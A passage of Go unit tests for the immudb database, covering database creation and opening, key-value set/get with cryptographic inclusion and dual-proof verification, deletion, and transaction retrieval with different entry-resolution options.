db.GetOptions())\n\n\tdefer db.Close()\n\n\tn, err := db.TxCount()\n\trequire.NoError(t, err)\n\trequire.Zero(t, n)\n\n\t_, err = db.Count(context.Background(), nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tres, err := db.CountAll(context.Background())\n\trequire.NoError(t, err)\n\trequire.Zero(t, res.Count)\n\n\tdbPath := path.Join(options.GetDBRootPath(), db.GetName())\n\trequire.DirExists(t, dbPath)\n}\n\nfunc TestDbCreationInAlreadyExistentDirectories(t *testing.T) {\n\toptions := DefaultOptions().WithDBRootPath(filepath.Join(t.TempDir(), \"Paris\"))\n\n\terr := os.MkdirAll(filepath.Join(options.GetDBRootPath(), \"EdithPiaf\"), os.ModePerm)\n\trequire.NoError(t, err)\n\n\t_, err = NewDB(\"EdithPiaf\", nil, options, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\trequire.ErrorContains(t, err, \"already exist\")\n}\n\nfunc TestDbCreationInInvalidDirectory(t *testing.T) {\n\toptions := DefaultOptions().WithDBRootPath(\"/?\")\n\n\t_, err := NewDB(\"EdithPiaf\", nil, options, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\trequire.Error(t, err)\n}\n\nfunc TestDbCreation(t *testing.T) {\n\toptions := DefaultOptions().WithDBRootPath(filepath.Join(t.TempDir(), \"Paris\"))\n\tdb, err := NewDB(\"EdithPiaf\", nil, options, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\trequire.NoError(t, err)\n\n\tdefer db.Close()\n\n\tdbPath := path.Join(options.GetDBRootPath(), db.GetName())\n\trequire.DirExists(t, dbPath)\n}\n\nfunc TestOpenWithMissingDBDirectories(t *testing.T) {\n\toptions := DefaultOptions().WithDBRootPath(filepath.Join(t.TempDir(), \"Paris\"))\n\t_, err := OpenDB(\"EdithPiaf\", nil, options, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\trequire.ErrorContains(t, err, \"missing database directories\")\n}\n\nfunc TestOpenWithIllegalDBName(t *testing.T) {\n\toptions := DefaultOptions().WithDBRootPath(filepath.Join(t.TempDir(), \"Paris\"))\n\t_, err := OpenDB(\"\", nil, options, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n}\n\nfunc TestOpenDB(t *testing.T) {\n\toptions := DefaultOptions().WithDBRootPath(filepath.Join(t.TempDir(), \"Paris\"))\n\tdb, err := NewDB(\"EdithPiaf\", nil, options, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\trequire.NoError(t, err)\n\n\terr = db.Close()\n\trequire.NoError(t, err)\n\n\tdb, err = OpenDB(\"EdithPiaf\", nil, options, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\trequire.NoError(t, err)\n\n\terr = db.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestOpenV1_0_1_DB(t *testing.T) {\n\tcopier := fs.NewStandardCopier()\n\tdir := filepath.Join(t.TempDir(), \"db\")\n\trequire.NoError(t, copier.CopyDir(\"../../test/data_v1.1.0\", dir))\n\n\tsysOpts := DefaultOptions().WithDBRootPath(dir)\n\tsysDB, err := OpenDB(\"systemdb\", nil, sysOpts, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\trequire.NoError(t, err)\n\n\tdbOpts := DefaultOptions().WithDBRootPath(dir)\n\tdb, err := OpenDB(\"defaultdb\", nil, dbOpts, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\trequire.NoError(t, err)\n\n\terr = db.Close()\n\trequire.NoError(t, err)\n\n\terr = sysDB.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestDbSynchronousSet(t *testing.T) {\n\tdb := makeDb(t)\n\n\tfor _, kv := range kvs {\n\t\t_, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}})\n\t\trequire.NoError(t, err)\n\n\t\titem, err := db.Get(context.Background(), &schema.KeyRequest{Key: kv.Key})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, kv.Key, item.Key)\n\t\trequire.Equal(t, kv.Value, item.Value)\n\t}\n}\n\nfunc TestDbSetGet(t *testing.T) {\n\tdb := makeDb(t)\n\n\tvar trustedAlh [sha256.Size]byte\n\tvar trustedIndex uint64\n\n\t_, err := db.Set(context.Background(), nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.VerifiableGet(context.Background(), nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tfor i, kv := range kvs[:1] {\n\t\ttxhdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(i+1), txhdr.Id)\n\n\t\tif i == 0 {\n\t\t\talh := schema.TxHeaderFromProto(txhdr).Alh()\n\t\t\tcopy(trustedAlh[:], alh[:])\n\t\t\ttrustedIndex = 1\n\t\t}\n\n\t\tkeyReq := &schema.KeyRequest{Key: kv.Key, SinceTx: txhdr.Id}\n\n\t\titem, err := db.Get(context.Background(), keyReq)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, kv.Key, item.Key)\n\t\trequire.Equal(t, kv.Value, item.Value)\n\n\t\t_, err = db.Get(context.Background(), &schema.KeyRequest{Key: kv.Key, SinceTx: txhdr.Id, AtTx: txhdr.Id})\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\t_, err = db.Get(context.Background(), &schema.KeyRequest{Key: kv.Key, SinceTx: txhdr.Id + 1})\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\tvitem, err := db.VerifiableGet(context.Background(), &schema.VerifiableGetRequest{\n\t\t\tKeyRequest:   keyReq,\n\t\t\tProveSinceTx: trustedIndex,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, kv.Key, vitem.Entry.Key)\n\t\trequire.Equal(t, kv.Value, vitem.Entry.Value)\n\n\t\tinclusionProof := schema.InclusionProofFromProto(vitem.InclusionProof)\n\t\tdualProof := schema.DualProofFromProto(vitem.VerifiableTx.DualProof)\n\n\t\tvar eh [sha256.Size]byte\n\t\tvar sourceID, targetID uint64\n\t\tvar sourceAlh, targetAlh [sha256.Size]byte\n\n\t\tif trustedIndex <= vitem.Entry.Tx {\n\t\t\tcopy(eh[:], dualProof.TargetTxHeader.Eh[:])\n\t\t\tsourceID = trustedIndex\n\t\t\tsourceAlh = trustedAlh\n\t\t\ttargetID = vitem.Entry.Tx\n\t\t\ttargetAlh = dualProof.TargetTxHeader.Alh()\n\t\t} else {\n\t\t\tcopy(eh[:], dualProof.SourceTxHeader.Eh[:])\n\t\t\tsourceID = vitem.Entry.Tx\n\t\t\tsourceAlh = dualProof.SourceTxHeader.Alh()\n\t\t\ttargetID = trustedIndex\n\t\t\ttargetAlh = trustedAlh\n\t\t}\n\n\t\tentrySpec := EncodeEntrySpec(vitem.Entry.Key, schema.KVMetadataFromProto(vitem.Entry.Metadata), vitem.Entry.Value)\n\n\t\tentrySpecDigest, err := store.EntrySpecDigestFor(int(txhdr.Version))\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, entrySpecDigest)\n\n\t\tverifies := store.VerifyInclusion(\n\t\t\tinclusionProof,\n\t\t\tentrySpecDigest(entrySpec),\n\t\t\teh,\n\t\t)\n\t\trequire.True(t, verifies)\n\n\t\tverifies = store.VerifyDualProof(\n\t\t\tdualProof,\n\t\t\tsourceID,\n\t\t\ttargetID,\n\t\t\tsourceAlh,\n\t\t\ttargetAlh,\n\t\t)\n\t\trequire.True(t, verifies)\n\t}\n\n\t_, err = db.Get(context.Background(), &schema.KeyRequest{Key: []byte{}})\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n}\n\nfunc TestDelete(t *testing.T) {\n\tdb := makeDb(t)\n\n\t_, err := db.Delete(context.Background(), nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{\n\t\t\t{\n\t\t\t\tKey:   nil,\n\t\t\t\tValue: []byte(\"value1\"),\n\t\t\t},\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\thdr, err := db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{\n\t\t\t{\n\t\t\t\tKey:   []byte(\"key1\"),\n\t\t\t\tValue: []byte(\"value1\"),\n\t\t\t},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\tt.Run(\"deletion with invalid indexing spec should return an error\", func(t *testing.T) {\n\t\t_, err = db.Delete(context.Background(), &schema.DeleteKeysRequest{\n\t\t\tKeys: [][]byte{\n\t\t\t\t[]byte(\"key1\"),\n\t\t\t},\n\t\t\tSinceTx: hdr.Id + 1,\n\t\t})\n\t\trequire.ErrorIs(t, err, store.ErrTxNotFound)\n\t})\n\n\t_, err = db.Get(context.Background(), &schema.KeyRequest{\n\t\tKey: []byte(\"key1\"),\n\t})\n\trequire.NoError(t, err)\n\n\thdr, err = db.Delete(context.Background(), &schema.DeleteKeysRequest{\n\t\tKeys: [][]byte{\n\t\t\t[]byte(\"key1\"),\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\t_, err = db.Get(context.Background(), &schema.KeyRequest{\n\t\tKey: []byte(\"key1\"),\n\t})\n\trequire.ErrorIs(t, err, store.ErrKeyNotFound)\n\n\t_, err = db.VerifiableGet(context.Background(), &schema.VerifiableGetRequest{\n\t\tKeyRequest: &schema.KeyRequest{\n\t\t\tKey:  []byte(\"key1\"),\n\t\t\tAtTx: hdr.Id,\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, store.ErrKeyNotFound)\n\n\ttx, err := db.TxByID(context.Background(), &schema.TxRequest{\n\t\tTx: hdr.Id,\n\t\tEntriesSpec: &schema.EntriesSpec{\n\t\t\tKvEntriesSpec: &schema.EntryTypeSpec{\n\t\t\t\tAction: schema.EntryTypeAction_RESOLVE,\n\t\t\t},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\trequire.NotNil(t, tx)\n\trequire.Empty(t, tx.KvEntries)\n}\n\nfunc TestCurrentState(t *testing.T) {\n\tdb := makeDb(t)\n\n\tfor ind, val := range kvs {\n\t\ttxhdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: val.Key, Value: val.Value}}})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(ind+1), txhdr.Id)\n\n\t\ttime.Sleep(1 * time.Second)\n\n\t\tstate, err := db.CurrentState()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(ind+1), state.TxId)\n\t}\n}\n\nfunc TestSafeSetGet(t *testing.T) {\n\tdb := makeDb(t)\n\n\tstate, err := db.CurrentState()\n\trequire.NoError(t, err)\n\n\t_, err = db.VerifiableSet(context.Background(), nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.VerifiableSet(context.Background(), &schema.VerifiableSetRequest{\n\t\tSetRequest: &schema.SetRequest{\n\t\t\tKVs: []*schema.KeyValue{\n\t\t\t\t{\n\t\t\t\t\tKey:   []byte(\"Alberto\"),\n\t\t\t\t\tValue: []byte(\"Tomba\"),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tProveSinceTx: 1,\n\t})\n\trequire.ErrorIs(t, err, ErrIllegalState)\n\n\tkv := []*schema.VerifiableSetRequest{\n\t\t{\n\t\t\tSetRequest: &schema.SetRequest{\n\t\t\t\tKVs: []*schema.KeyValue{\n\t\t\t\t\t{\n\t\t\t\t\t\tKey:   []byte(\"Alberto\"),\n\t\t\t\t\t\tValue: []byte(\"Tomba\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tProveSinceTx: state.TxId,\n\t\t},\n\t\t{\n\t\t\tSetRequest: &schema.SetRequest{\n\t\t\t\tKVs: []*schema.KeyValue{\n\t\t\t\t\t{\n\t\t\t\t\t\tKey:   []byte(\"Jean-Claude\"),\n\t\t\t\t\t\tValue: []byte(\"Killy\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tProveSinceTx: state.TxId,\n\t\t},\n\t\t{\n\t\t\tSetRequest: &schema.SetRequest{\n\t\t\t\tKVs: []*schema.KeyValue{\n\t\t\t\t\t{\n\t\t\t\t\t\tKey:   []byte(\"Franz\"),\n\t\t\t\t\t\tValue: []byte(\"Clamer\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tProveSinceTx: state.TxId,\n\t\t},\n\t}\n\n\tfor ind, val := range kv {\n\t\tvtx, err := db.VerifiableSet(context.Background(), val)\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, vtx)\n\n\t\tvit, err := db.VerifiableGet(context.Background(), &schema.VerifiableGetRequest{\n\t\t\tKeyRequest: &schema.KeyRequest{\n\t\t\t\tKey:     val.SetRequest.KVs[0].Key,\n\t\t\t\tSinceTx: vtx.Tx.Header.Id,\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(ind+1), vit.Entry.Tx)\n\t}\n}\n\nfunc TestSetGetAll(t *testing.T) {\n\tdb := makeDb(t)\n\n\tkvs := []*schema.KeyValue{\n\t\t{\n\t\t\tKey:   []byte(\"Alberto\"),\n\t\t\tValue: []byte(\"Tomba\"),\n\t\t},\n\t\t{\n\t\t\tKey:   []byte(\"Jean-Claude\"),\n\t\t\tValue: []byte(\"Killy\"),\n\t\t},\n\t\t{\n\t\t\tKey:   []byte(\"Franz\"),\n\t\t\tValue: []byte(\"Clamer\"),\n\t\t},\n\t}\n\n\ttxhdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: kvs})\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(1), txhdr.Id)\n\n\titList, err := db.GetAll(context.Background(), &schema.KeyListRequest{\n\t\tKeys: [][]byte{\n\t\t\t[]byte(\"Alberto\"),\n\t\t\t[]byte(\"Jean-Claude\"),\n\t\t\t[]byte(\"Franz\"),\n\t\t},\n\t\tSinceTx: txhdr.Id,\n\t})\n\trequire.NoError(t, err)\n\n\tfor ind, val := range itList.Entries {\n\t\trequire.Equal(t, kvs[ind].Value, val.Value)\n\t}\n}\n\nfunc TestTxByID(t *testing.T) {\n\tdb := makeDb(t)\n\n\t_, err := db.TxByID(context.Background(), nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\ttxhdr1, err := db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{\n\t\t\t{Key: []byte(\"key0\"), Value: []byte(\"value0\")},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\ttxhdr2, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Ref{\n\t\t\t\t\tRef: &schema.ReferenceRequest{\n\t\t\t\t\t\tKey:           []byte(\"ref1\"),\n\t\t\t\t\t\tReferencedKey: []byte(\"key0\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\t\tKey:   []byte(\"key1\"),\n\t\t\t\t\t\tValue: []byte(\"value1\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_ZAdd{\n\t\t\t\t\tZAdd: &schema.ZAddRequest{\n\t\t\t\t\t\tSet:   []byte(\"set1\"),\n\t\t\t\t\t\tScore: 10,\n\t\t\t\t\t\tKey:   []byte(\"key1\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\t_, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: \"CREATE TABLE mytable(id INTEGER AUTO_INCREMENT, PRIMARY KEY id)\"})\n\trequire.NoError(t, err)\n\n\t_, ctx1, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: \"INSERT INTO mytable VALUES ()\"})\n\trequire.NoError(t, err)\n\trequire.Len(t, ctx1, 1)\n\n\ttxhdr3 := ctx1[0].TxHeader()\n\n\tt.Run(\"values should not be resolved but digests returned in entries field\", func(t *testing.T) {\n\t\ttx, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr1.Id})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\t\trequire.Len(t, tx.Entries, 1)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Empty(t, tx.ZEntries)\n\n\t\tfor _, e := range tx.Entries {\n\t\t\trequire.Len(t, e.Value, 0)\n\t\t}\n\n\t\ttx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr2.Id})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\t\trequire.Len(t, tx.Entries, 3)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Empty(t, tx.ZEntries)\n\n\t\tfor _, e := range tx.Entries {\n\t\t\trequire.Len(t, e.Value, 0)\n\t\t}\n\n\t\ttx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr3.ID})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\t\trequire.Len(t, tx.Entries, 1)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Empty(t, tx.ZEntries)\n\n\t\tfor _, e := range tx.Entries {\n\t\t\trequire.Len(t, e.Value, 0)\n\t\t}\n\t})\n\n\tt.Run(\"values should not be resolved but digests returned in entries field\", func(t *testing.T) {\n\t\ttx, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr1.Id, EntriesSpec: &schema.EntriesSpec{\n\t\t\tKvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_ONLY_DIGEST},\n\t\t}})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\t\trequire.Len(t, tx.Entries, 1)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Empty(t, tx.ZEntries)\n\n\t\tfor _, e := range tx.Entries {\n\t\t\trequire.Len(t, e.Value, 0)\n\t\t}\n\n\t\ttx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{\n\t\t\tKvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_ONLY_DIGEST},\n\t\t\tZEntriesSpec:  &schema.EntryTypeSpec{Action: schema.EntryTypeAction_ONLY_DIGEST},\n\t\t}})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\t\trequire.Len(t, tx.Entries, 3)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Empty(t, tx.ZEntries)\n\n\t\tfor _, e := range tx.Entries {\n\t\t\trequire.Len(t, e.Value, 0)\n\t\t}\n\n\t\ttx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr3.ID, EntriesSpec: &schema.EntriesSpec{\n\t\t\tSqlEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_ONLY_DIGEST},\n\t\t}})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\t\trequire.Len(t, tx.Entries, 1)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Empty(t, tx.ZEntries)\n\n\t\tfor _, e := range tx.Entries {\n\t\t\trequire.Len(t, e.Value, 0)\n\t\t}\n\t})\n\n\tt.Run(\"no entries should be returned if not explicitly included\", func(t *testing.T) {\n\t\ttx, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr1.Id, EntriesSpec: &schema.EntriesSpec{}})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\t\trequire.Empty(t, tx.Entries)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Empty(t, tx.ZEntries)\n\n\t\ttx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{}})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\t\trequire.Empty(t, tx.Entries)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Empty(t, tx.ZEntries)\n\n\t\ttx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr3.ID, EntriesSpec: &schema.EntriesSpec{}})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\t\trequire.Empty(t, tx.Entries)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Empty(t, tx.ZEntries)\n\t})\n\n\tt.Run(\"no entries should be returned if explicitly excluded\", func(t *testing.T) {\n\t\ttx, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr1.Id, EntriesSpec: &schema.EntriesSpec{\n\t\t\tKvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_EXCLUDE},\n\t\t}})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\t\trequire.Empty(t, tx.Entries)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Empty(t, tx.ZEntries)\n\n\t\ttx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{\n\t\t\tKvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_EXCLUDE},\n\t\t\tZEntriesSpec:  &schema.EntryTypeSpec{Action: schema.EntryTypeAction_EXCLUDE},\n\t\t}})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\t\trequire.Empty(t, tx.Entries)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Empty(t, tx.ZEntries)\n\n\t\ttx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr3.ID, EntriesSpec: &schema.EntriesSpec{\n\t\t\tSqlEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_EXCLUDE},\n\t\t}})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\t\trequire.Empty(t, tx.Entries)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Empty(t, tx.ZEntries)\n\t})\n\n\tt.Run(\"raw entries should be returned\", func(t *testing.T) {\n\t\ttx, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr1.Id, EntriesSpec: &schema.EntriesSpec{\n\t\t\tKvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RAW_VALUE},\n\t\t}})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\t\trequire.Len(t, tx.Entries, 1)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Empty(t, tx.ZEntries)\n\n\t\tfor _, e := range tx.Entries {\n\t\t\thval := sha256.Sum256(e.Value)\n\t\t\trequire.Equal(t, e.HValue, hval[:])\n\t\t}\n\n\t\ttx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{\n\t\t\tZEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RAW_VALUE},\n\t\t}})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\t\trequire.Len(t, tx.Entries, 1)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Empty(t, tx.ZEntries)\n\n\t\tfor _, e := range tx.Entries {\n\t\t\thval := sha256.Sum256(e.Value)\n\t\t\trequire.Equal(t, e.HValue, hval[:])\n\t\t}\n\n\t\ttx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr3.ID, EntriesSpec: &schema.EntriesSpec{\n\t\t\tSqlEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RAW_VALUE},\n\t\t}})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\t\trequire.Len(t, tx.Entries, 1)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Empty(t, tx.ZEntries)\n\n\t\tfor _, e := range tx.Entries {\n\t\t\thval := sha256.Sum256(e.Value)\n\t\t\trequire.Equal(t, e.HValue, hval[:])\n\t\t}\n\t})\n\n\tt.Run(\"only kv entries should be resolved\", func(t *testing.T) {\n\t\ttx, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{\n\t\t\tKvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RESOLVE},\n\t\t}})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\t\trequire.Empty(t, tx.Entries)\n\t\trequire.Len(t, tx.KvEntries, 2)\n\t\trequire.Empty(t, tx.ZEntries)\n\n\t\tfor i, e := range tx.KvEntries {\n\t\t\trequire.Equal(t, []byte(fmt.Sprintf(\"key%d\", i)), e.Key)\n\t\t\trequire.Equal(t, []byte(fmt.Sprintf(\"value%d\", i)), e.Value)\n\t\t}\n\t})\n\n\tt.Run(\"only kv entries should be resolved (but not references)\", func(t *testing.T) {\n\t\ttx, err := db.TxByID(context.Background(), &schema.TxRequest{\n\t\t\tTx: txhdr2.Id,\n\t\t\tEntriesSpec: &schema.EntriesSpec{\n\t\t\t\tKvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RESOLVE},\n\t\t\t},\n\t\t\tKeepReferencesUnresolved: true,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\t\trequire.Empty(t, tx.Entries)\n\t\trequire.Len(t, tx.KvEntries, 2)\n\t\trequire.Empty(t, tx.ZEntries)\n\n\t\tfor i, e := range tx.KvEntries {\n\t\t\trequire.Equal(t, []byte(fmt.Sprintf(\"key%d\", i)), e.Key)\n\n\t\t\tif e.ReferencedBy == nil {\n\t\t\t\trequire.Equal(t, []byte(fmt.Sprintf(\"value%d\", i)), e.Value)\n\t\t\t} else {\n\t\t\t\trequire.Empty(t, e.Value)\n\t\t\t}\n\t\t}\n\t})\n\n\tt.Run(\"only zentries should be resolved\", func(t *testing.T) {\n\t\ttx, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{\n\t\t\tZEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RESOLVE},\n\t\t}})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\t\trequire.Empty(t, tx.Entries)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Len(t, tx.ZEntries, 1)\n\n\t\trequire.Equal(t, []byte(\"set1\"), tx.ZEntries[0].Set)\n\t\trequire.Equal(t, []byte(\"key1\"), tx.ZEntries[0].Key)\n\t\trequire.Equal(t, float64(10), tx.ZEntries[0].Score)\n\t\trequire.NotNil(t, tx.ZEntries[0].Entry)\n\t})\n\n\tt.Run(\"only zentries should be resolved (but not including entries)\", func(t *testing.T) {\n\t\ttx, err := db.TxByID(context.Background(), &schema.TxRequest{\n\t\t\tTx: txhdr2.Id,\n\t\t\tEntriesSpec: &schema.EntriesSpec{\n\t\t\t\tZEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RESOLVE},\n\t\t\t},\n\t\t\tKeepReferencesUnresolved: true,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tx)\n\t\trequire.Empty(t, tx.Entries)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Len(t, tx.ZEntries, 1)\n\n\t\trequire.Equal(t, []byte(\"set1\"), tx.ZEntries[0].Set)\n\t\trequire.Equal(t, []byte(\"key1\"), tx.ZEntries[0].Key)\n\t\trequire.Equal(t, float64(10), tx.ZEntries[0].Score)\n\t\trequire.Nil(t, tx.ZEntries[0].Entry)\n\t})\n\n\tt.Run(\"sql entries can not be resolved\", func(t *testing.T) {\n\t\t_, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr3.ID, EntriesSpec: &schema.EntriesSpec{\n\t\t\tSqlEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RESOLVE},\n\t\t}})\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n}\n\nfunc TestVerifiableTxByID(t *testing.T) {\n\tdb := makeDb(t)\n\n\t_, err := db.VerifiableTxByID(context.Background(), nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tvar txhdr *schema.TxHeader\n\n\tfor _, val := range kvs {\n\t\ttxhdr, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: val.Key, Value: val.Value}}})\n\t\trequire.NoError(t, err)\n\t}\n\n\tt.Run(\"values should be returned\", func(t *testing.T) {\n\t\tvtx, err := db.VerifiableTxByID(context.Background(), &schema.VerifiableTxRequest{\n\t\t\tTx:           txhdr.Id,\n\t\t\tProveSinceTx: 0,\n\t\t\tEntriesSpec: &schema.EntriesSpec{\n\t\t\t\tKvEntriesSpec: &schema.EntryTypeSpec{\n\t\t\t\t\tAction: schema.EntryTypeAction_RAW_VALUE,\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, vtx)\n\t\trequire.Len(t, vtx.Tx.Entries, 1)\n\n\t\thval := sha256.Sum256(vtx.Tx.Entries[0].Value)\n\t\trequire.Equal(t, vtx.Tx.Entries[0].HValue, hval[:])\n\t})\n\n\tt.Run(\"values should not be returned\", func(t *testing.T) {\n\t\tvtx, err := db.VerifiableTxByID(context.Background(), 